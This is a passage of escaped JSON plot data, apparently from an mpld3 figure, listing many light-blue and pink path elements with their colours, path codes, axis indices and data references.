\"data\": \"data27\", \"id\": \"el126114423789328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114423815632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114423817296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114423818960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114423878032\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114423879696\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114423672528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114423674192\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114423675856\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114423607952\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114423609616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114423452240\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data17\", \"id\": \"el126114423452752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114423453648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114423889936\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114423868752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114423510736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114423968080\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114423677520\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114423678992\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114423616208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114423617872\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data02\", \"id\": \"el126114423549968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114423551632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data01\", \"id\": \"el126114423552912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114423477200\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114423478864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114423472400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114423474064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114423467600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data52\", \"id\": \"el126114423468880\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114423470544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data53\", \"id\": \"el126114423697552\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data54\", \"id\": \"el126114423698832\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 3, \"data\": \"data53\", \"id\": \"el126114423700112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423681424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423683088\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423557840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114423559504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114423561168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423624336\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423626000\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423685072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114423686736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423688016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114425013136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114425014800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114425024720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114425026384\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114425056784\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114425058448\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114425060112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114425074128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114425075792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114425085712\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114425087376\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data20\", \"id\": \"el126114425088656\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114425098960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114425100624\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data18\", \"id\": \"el126114425118736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114425120400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114425121680\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114425131984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114425133648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114425147664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114425149328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data09\", \"id\": \"el126114425159248\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114425160912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114425162576\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114425180688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data05\", \"id\": \"el126114425182352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114425192272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114425193936\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data36\", \"id\": \"el126114425195216\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data17\", \"id\": \"el126114425209616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114425211280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114425225296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114425226960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114425228240\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data01\", \"id\": \"el126114425242640\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, 